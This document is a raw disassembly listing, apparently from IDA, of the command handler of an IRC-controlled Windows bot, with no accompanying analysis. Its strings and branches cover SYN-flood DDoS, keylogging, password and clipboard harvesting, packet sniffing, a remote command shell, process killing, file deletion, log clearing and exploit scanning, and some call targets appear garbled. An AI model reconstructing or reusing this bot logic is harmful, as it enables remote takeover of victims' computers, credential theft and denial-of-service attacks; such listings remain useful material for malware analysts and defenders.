mov ecx, [ebp+esi+var_94]
lea eax, [ebp+esi+var_94]
cmp ecx, ebx
jz loc_40F239
add ecx, 3
mov [eax], ecx
loc_40FD7F: ; CODE XREF: sub_40EE72+D22j
mov edi, [ebp+esi+var_94]
push edi
push offset aIrc_rndnick ; "irc.rndnick"
mov [ebp+arg_8], edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414EF5
push edi
push offset aRn ; "rn"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414EF5
push edi
push offset aIrc_die ; "irc.die"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414ED3
push edi
push offset aIrc_di ; "irc.di"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414ED3
push edi
push offset aIrc_logout ; "irc.logout"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414E31
push edi
push offset aLo ; "lo"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414E31
push edi
push offset aIrc_version ; "irc.version"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414E22
push edi
push offset aVer ; "ver"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414E22
push edi
push offset aLockdown_on ; "lockdown.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414D0D
push edi
push offset aLd_on ; "ld.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414D0D
push edi
push offset aLockdown_off ; "lockdown.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414D0D
push edi
push offset aLd_off ; "ld.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414D0D
push edi
push offset aProxy_socks4_o ; "proxy.socks4.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BEB
push edi
push offset aProxy_s4_on ; "proxy.s4.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BEB
push edi
push offset aProxy_socks4_0 ; "proxy.socks4.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FEEF
push [ebp+esi+var_90]
push 11h
push offset aServer ; "Server"
push offset dword_432A34
loc_40FED3: ; CODE XREF: sub_40EE72+10A1j
; sub_40EE72+10C7j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_416FEA
add esp, 20h
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_40FEEF: ; CODE XREF: sub_40EE72+104Cj
push edi
push offset aDaemon_rlogin_ ; "daemon.rlogin.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF15
push [ebp+esi+var_90]
push 6
push offset aServer ; "Server"
push offset dword_432A10
jmp short loc_40FED3
; ---------------------------------------------------------------------------
loc_40FF15: ; CODE XREF: sub_40EE72+108Cj
push edi
push offset dword_432A00
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF3B
push [ebp+esi+var_90]
push 3
push offset aServer ; "Server"
push offset dword_4329F4
jmp short loc_40FED3
; ---------------------------------------------------------------------------
loc_40FF3B: ; CODE XREF: sub_40EE72+10B2j
push edi
push offset dword_4329EC
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF64
push [ebp+esi+var_90]
push 1Dh
push offset dword_4329E0
push offset dword_4329D4
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_40FF64: ; CODE XREF: sub_40EE72+10D8j
push edi
push offset aProxy_redirect ; "proxy.redirect.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF8D
push [ebp+esi+var_90]
push 10h
push offset dword_4329B0
push offset dword_4329A0
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_40FF8D: ; CODE XREF: sub_40EE72+1101j
push edi
push offset dword_432994
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FFB6
push [ebp+esi+var_90]
push 0Ah
push offset dword_432988
push offset dword_43297C
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_40FFB6: ; CODE XREF: sub_40EE72+112Aj
push edi
push offset dword_43296C
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FFDF
push [ebp+esi+var_90]
push 0Bh
push offset dword_432960
push offset dword_432954
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_40FFDF: ; CODE XREF: sub_40EE72+1153j
push edi
push offset dword_432944
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410008
push [ebp+esi+var_90]
push 0Fh
push offset dword_432938
push offset dword_43292C
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_410008: ; CODE XREF: sub_40EE72+117Cj
push edi
push offset dword_43291C
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410031
push [ebp+esi+var_90]
push 0Eh
push offset dword_432910
push offset dword_432904
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_410031: ; CODE XREF: sub_40EE72+11A5j
push edi
push offset aDaemon_tftp_of ; "daemon.tftp.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41005A
push [ebp+esi+var_90]
push 4
loc_41004B: ; DATA XREF: ___:0042CC90o
; ___:0042CCA4o
push offset aServer ; "Server"
push offset dword_4328E8
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_41005A: ; CODE XREF: sub_40EE72+11CEj
push edi
push offset aUtil_findfile_ ; "util.findfile.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BD3
push edi
push offset aUtil_ff_off ; "util.ff.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BD3
push edi
push offset aCom_procs_off ; "com.procs.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BBB
push edi
push offset aCom_ps_off ; "com.ps.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BBB
push edi
push offset aClone_off ; "clone.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4100D7
push [ebp+esi+var_90]
push 18h
push offset aClone ; "Clone"
push offset dword_432888
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_4100D7: ; CODE XREF: sub_40EE72+124Bj
push edi
push offset aLockdown_stop ; "lockdown.stop"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410100
push [ebp+esi+var_90]
push 1Ah
push offset aSecure_0 ; "Secure"
push offset dword_432860
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_410100: ; CODE XREF: sub_40EE72+1274j
push edi
push offset aRoot_stop ; "root.stop"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410129
push [ebp+esi+var_90]
push 8
push offset aScan ; "Scan"
push offset aExploitation ; "Exploitation"
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_410129: ; CODE XREF: sub_40EE72+129Dj
push edi
push offset aRoot_stats ; "root.stats"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BA5
push edi
push offset aRoot_st ; "root.st"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BA5
push edi
push offset aIrc_reconnect ; "irc.reconnect"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414B84
push edi
push offset aIrc_r ; "irc.r"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414B84
push edi
push offset aIrc_disconnect ; "irc.disconnect"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414B62
push edi
push offset aIrc_d ; "irc.d"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414B62
push edi
push offset aIrc_quit ; "irc.quit"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414B1A
push edi
push offset aIrc_q ; "irc.q"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414B1A
push edi
push offset aIrc_status ; "irc.status"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414ADB
push edi
push offset aIrc_s ; "irc.s"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414ADB
push edi
push offset aIrc_id ; "irc.id"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414ACF
push edi
push offset aIrc_i ; "irc.i"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414ACF
push edi
push offset aCom_rebewt ; "com.rebewt"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410277
call sub_40AC20
test eax, eax
mov eax, offset dword_432788
jnz short loc_410249
mov eax, offset dword_432754
loc_410249: ; CODE XREF: sub_40EE72+13D0j
push eax
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 1Ch
jmp loc_40F822
; ---------------------------------------------------------------------------
loc_410277: ; CODE XREF: sub_40EE72+13C2j
push edi
push offset aThreads_list ; "threads.list"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4149DE
push edi
push offset aThreads_l ; "threads.l"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4149DE
push edi
push offset aIrc_aliases ; "irc.aliases"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4149BE
push edi
push offset aIrc_al ; "irc.al"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4149BE
push edi
push offset aIrc_log ; "irc.log"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4148CB
push edi
push offset aIrc_lg ; "irc.lg"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4148CB
push edi
push offset aUtil_clearlog ; "util.clearlog"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4148B2
push edi
push offset aUtil_clg ; "util.clg"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4148B2
push edi
push offset aCom_netinfo ; "com.netinfo"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414880
push edi
push offset aCom_ni ; "com.ni"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414880
push edi
push offset aDdos_supersyn ; "ddos.supersyn"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_410459
mov edi, [ebp+esi+var_90]
push 7Fh
lea eax, [ebp+var_76C]
push edi
push eax
call sub_418C10
mov eax, [ebp+esi+var_8C]
push 7Fh
mov [ebp+arg_18], eax
push eax
lea eax, [ebp+var_6EC]
push eax
call sub_418C10
mov esi, [ebp+esi+var_88]
push 7Fh
lea eax, [ebp+var_66C]
push esi
push eax
call sub_418C10
push 7Fh
lea eax, [ebp+var_5EC]
push [ebp+var_8C]
push eax
call sub_418C10
mov eax, [ebp+var_4]
add esp, 30h
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
push esi
mov [ebp+var_564], eax
mov eax, [ebp+arg_4]
push [ebp+arg_18]
mov [ebp+var_770], eax
lea eax, [ebp+var_2DC]
push edi
push offset unk_432694
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 14h
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_770]
push ebx
push eax
push offset sub_401831
push ebx
push ebx
call near ptr 2690C63h
nop
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_410448
loc_410432: ; CODE XREF: sub_40EE72+15D4j
cmp [ebp+var_560], ebx
jnz loc_41460C
push 32h
nop
call near ptr 2610E88h
jmp short loc_410432
; ---------------------------------------------------------------------------
loc_410448: ; CODE XREF: sub_40EE72+15BEj
nop
call near ptr 2660B07h
push eax
push offset unk_432648
jmp loc_413BFD
; ---------------------------------------------------------------------------
loc_410459: ; CODE XREF: sub_40EE72+14E6j
push edi
push offset aCom_sysinfo ; "com.sysinfo"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414852
push edi
push offset aCom_si ; "com.si"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414852
push edi
push offset aIrc_rem0ve ; "irc.rem0ve"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414818
push edi
push offset aIrc_rm0 ; "irc.rm0"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414818
push edi
push offset aCom_procs ; "com.procs"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41470F
push edi
push offset aCom_ps ; "com.ps"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41470F
push edi
push offset aCom_harvest ; "com.harvest"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4146F1
push edi
push offset aCom_key ; "com.key"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4146F1
push edi
push offset aCom_uptime ; "com.uptime"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41466C
push edi
push offset aCom_up ; "com.up"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41466C
push edi
push offset aCom_driveinfo ; "com.driveinfo"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41464F
push edi
push offset aCom_drv ; "com.drv"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41464F
push edi
push offset aCom_testdlls ; "com.testdlls"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414636
push edi
push offset aCom_dll ; "com.dll"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414636
push edi
push offset aCom_opencmd ; "com.opencmd"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4145CA
push edi
push offset aCom_ocmd ; "com.ocmd"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4145CA
push edi
push offset aCom_ocmd_off ; "com.ocmd.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4105D2
push [ebp+esi+var_90]
push 7
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_4105D2: ; CODE XREF: sub_40EE72+1746j
push edi
push offset aIrc_who ; "irc.who"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41065E
cmp [ebp+var_8], ebx
jnz short loc_410602
push ebx
push [ebp+var_4]
push offset aLoginList ; "-[Login List]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_410602: ; CODE XREF: sub_40EE72+1774j
mov edi, [ebp+arg_18]
xor esi, esi
loc_410607: ; CODE XREF: sub_40EE72+17DBj
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_410613
mov eax, offset aEmpty ; "<Empty>"
loc_410613: ; CODE XREF: sub_40EE72+179Aj
push eax
push esi
lea eax, [ebp+var_2DC]
push offset aD_S ; "%d. %s"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_410607
push offset dword_43251C
loc_410654: ; CODE XREF: sub_40EE72+5C58j
call sub_40BF6D
jmp loc_414F46
; ---------------------------------------------------------------------------
loc_41065E: ; CODE XREF: sub_40EE72+176Fj
push edi
push offset aCom_getclip ; "com.getclip"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414581
push edi
push offset aCom_gc ; "com.gc"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414581
push edi
push offset aUtil_flusharp ; "util.flusharp"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414556
push edi
push offset aUtil_farp ; "util.farp"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414556
push edi
push offset aUtil_flushdns ; "util.flushdns"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414532
push edi
push offset aUtil_fdns ; "util.fdns"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414532
push edi
push offset aRoot_currentip ; "root.currentip"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4144F5
push edi
push offset aRoot_cip ; "root.cip"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4144F5
push edi
push offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4143A4
push edi
push offset aDaemon_rl_on ; "daemon.rl.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4143A4
push edi
push offset aDaemon_httpd_o ; "daemon.httpd.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41422E
push edi
push offset aDaemon_web_on ; "daemon.web.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41422E
push edi
push offset aDaemon_tftp_on ; "daemon.tftp.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4140ED
push edi
push offset aDaemon_tf_on ; "daemon.tf.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4140ED
push edi
push offset aCom_findpass ; "com.findpass"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414043
push edi
push offset aCom_fp ; "com.fp"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414043
push edi
push offset aAsc ; "asc"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413D44
push edi
push offset aSa ; "sa"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413D44
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz loc_40F239
push [ebp+arg_8]
push offset aIrc_nick ; "irc.nick"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413D28
push [ebp+arg_8]
push offset aIrc_n ; "irc.n"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413D28
push [ebp+arg_8]
push offset aIrc_join ; "irc.join"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413D05
push [ebp+arg_8]
push offset aIrc_j ; "irc.j"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413D05
push [ebp+arg_8]
push offset aIrc_part ; "irc.part"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413CE9
push [ebp+arg_8]
push offset aIrc_pt ; "irc.pt"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413CE9
push [ebp+arg_8]
push offset aIrc_raw ; "irc.raw"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413CAF
push [ebp+arg_8]
push offset aIrc_ra ; "irc.ra"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413CAF
push [ebp+arg_8]
push offset aThreads_kill ; "threads.kill"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413BDD
push [ebp+arg_8]
push offset aThreads_k ; "threads.k"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413BDD
push [ebp+arg_8]
push offset aClone_quit ; "clone.quit"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413B32
push [ebp+arg_8]
push offset aClone_q ; "clone.q"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413B32
push [ebp+arg_8]
push offset aClone_rndnick ; "clone.rndnick"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413AE4
push [ebp+arg_8]
push offset aClone_rn ; "clone.rn"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413AE4
push [ebp+arg_8]
push offset aIrc_prefix ; "irc.prefix"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413ACF
push [ebp+arg_8]
push offset aIrc_pr ; "irc.pr"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413ACF
push [ebp+arg_8]
push offset aCom_open ; "com.open"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413AA5
push [ebp+arg_8]
push offset aCom_o ; "com.o"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413AA5
push [ebp+arg_8]
push offset aIrc_setserve ; "irc.setserve"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413A8C
push [ebp+arg_8]
push offset aIrc_se ; "irc.se"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413A8C
push [ebp+arg_8]
push offset aIrc_dns ; "irc.dns"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4139FA
push [ebp+arg_8]
push offset aIrc_dn ; "irc.dn"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4139FA
push [ebp+arg_8]
push offset aCom_killprocna ; "com.killprocname"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4139CE
push [ebp+arg_8]
push offset aCom_kpn ; "com.kpn"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4139CE
push [ebp+arg_8]
push offset aCom_prockillid ; "com.prockillid"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413973
push [ebp+arg_8]
push offset aCom_pkid ; "com.pkid"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413973
push [ebp+arg_8]
push offset aCom_delete ; "com.delete"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413938
push [ebp+arg_8]
push offset aCom_del ; "com.del"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413938
push [ebp+arg_8]
push offset aDcc_get ; "dcc.get"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41384E
push [ebp+arg_8]
push offset aDcc_gt ; "dcc.gt"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41384E
push [ebp+arg_8]
push offset aCom_filelist ; "com.filelist"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413830
push [ebp+arg_8]
push offset aCom_fl ; "com.fl"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413830
push [ebp+arg_8]
push offset aIrc_visit ; "irc.visit"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41374F
push [ebp+arg_8]
push offset aIrc_v ; "irc.v"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41374F
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413714
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413714
push [ebp+arg_8]
push offset aCom_cmd ; "com.cmd"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4136C9
push [ebp+arg_8]
push offset aCom_cm ; "com.cm"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4136C9
push [ebp+arg_8]
push offset aCom_readfile ; "com.readfile"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413643
push [ebp+arg_8]
push offset aCom_rf ; "com.rf"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413643
push [ebp+arg_8]
push offset aSniff ; "sniff"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_410CCC
push edi
push offset aOn ; "on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_410C97
push 19h
call sub_416FA4
test eax, eax
pop ecx
jle short loc_410BC1
push offset unk_432250
jmp loc_410D38
; ---------------------------------------------------------------------------
loc_410BC1: ; CODE XREF: sub_40EE72+1D43j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_4F0], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_464], eax
jnz short loc_410C03
mov esi, offset aF_1 ; "#f"
push offset byte_436EDC
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410C03
mov esi, [ebp+var_8C]
loc_410C03: ; CODE XREF: sub_40EE72+1D73j
; sub_40EE72+1D89j
push esi
lea eax, [ebp+var_4EC]
push 80h
push eax
call sub_41782A
add esp, 0Ch
lea eax, [ebp+var_2DC]
push offset unk_432210
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 19h
push eax
call sub_416D5C
add esp, 14h
mov [ebp+var_46C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F0]
push ebx
push eax
push offset sub_402688
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_46C]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_410C86
loc_410C70: ; CODE XREF: sub_40EE72+1E12j
cmp [ebp+var_460], ebx
jnz loc_410E57
push 32h
nop
call near ptr 2610E88h
jmp short loc_410C70
; ---------------------------------------------------------------------------
loc_410C86: ; CODE XREF: sub_40EE72+1DFCj
nop
call near ptr 2660B07h
push eax
push offset unk_4321C4
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_410C97: ; CODE XREF: sub_40EE72+1D33j
push edi
push offset aOff ; "off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_410E57
push ebx
push 19h
call sub_416F57
pop ecx
cmp eax, ebx
pop ecx
jle short loc_410CC5
push eax
push offset unk_432178
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_410CC5: ; CODE XREF: sub_40EE72+1E46j
push offset unk_432140
jmp short loc_410D38
; ---------------------------------------------------------------------------
loc_410CCC: ; CODE XREF: sub_40EE72+1D1Ej
push [ebp+arg_8]
push offset aCom_keylog ; "com.keylog"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_410E81
push edi
push offset aOn ; "on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_410D4B
push edi
push offset aFile ; "file"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_410D4B
push edi
push offset aOff ; "off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_410E57
push ebx
push 1Bh
call sub_416F57
pop ecx
cmp eax, ebx
pop ecx
jle short loc_410D33
push eax
push offset unk_4320E0
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_410D33: ; CODE XREF: sub_40EE72+1EB4j
push offset unk_4320A4
loc_410D38: ; CODE XREF: sub_40EE72+1D4Aj
; sub_40EE72+1E58j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
pop ecx
pop ecx
jmp loc_410E57
; ---------------------------------------------------------------------------
loc_410D4B: ; CODE XREF: sub_40EE72+1E80j
; sub_40EE72+1E91j
push 1Bh
call sub_416FA4
test eax, eax
pop ecx
jle short loc_410D5E
push offset unk_432074
jmp short loc_410D38
; ---------------------------------------------------------------------------
loc_410D5E: ; CODE XREF: sub_40EE72+1EE3j
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_4F0], eax
mov eax, [ebp+var_4]
push offset aFile ; "file"
mov [ebp+var_468], eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410D8D
mov [ebp+var_464], 1
jmp short loc_410D96
; ---------------------------------------------------------------------------
loc_410D8D: ; CODE XREF: sub_40EE72+1F0Dj
mov eax, [ebp+var_8]
mov [ebp+var_464], eax
loc_410D96: ; CODE XREF: sub_40EE72+1F19j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_410DBD
mov esi, offset aF_0 ; "#f"
push offset byte_436EDC
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410DBD
mov esi, [ebp+var_8C]
loc_410DBD: ; CODE XREF: sub_40EE72+1F2Dj
; sub_40EE72+1F43j
push esi
lea eax, [ebp+var_4E8]
push 80h
push eax
call sub_41782A
add esp, 0Ch
lea eax, [ebp+var_2DC]
push offset unk_432044
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 1Bh
push eax
call sub_416D5C
add esp, 14h
mov [ebp+var_4EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F0]
push ebx
push eax
push offset sub_4023A7
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_4EC]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_410E3C
loc_410E2A: ; CODE XREF: sub_40EE72+1FC8j
cmp [ebp+var_460], ebx
jnz short loc_410E57
push 32h
call near ptr 2610E88h
nop
jmp short loc_410E2A
; ---------------------------------------------------------------------------
loc_410E3C: ; CODE XREF: sub_40EE72+1FB6j
nop
call near ptr 2660B07h
push eax
push offset unk_431FF8
loc_410E48: ; CODE XREF: sub_40EE72+1E20j
; sub_40EE72+1E4Ej ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
loc_410E57: ; CODE XREF: sub_40EE72+1E04j
; sub_40EE72+1E34j ...
cmp [ebp+var_8], ebx
jnz loc_40F822
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
jmp loc_40F822
; ---------------------------------------------------------------------------
loc_410E81: ; CODE XREF: sub_40EE72+1E6Bj
push [ebp+arg_8]
push offset aCom_net ; "com.net"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_411114
cmp dword_43AE68, ebx
jz short loc_410EB2
cmp dword_43AE90, ebx
jz short loc_410EB2
push offset dword_431FA8
jmp loc_4110CE
; ---------------------------------------------------------------------------
loc_410EB2: ; CODE XREF: sub_40EE72+202Cj
; sub_40EE72+2034j
cmp [ebp+var_C], ebx
jz loc_4110DC
mov eax, [ebp+esi+var_8C]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
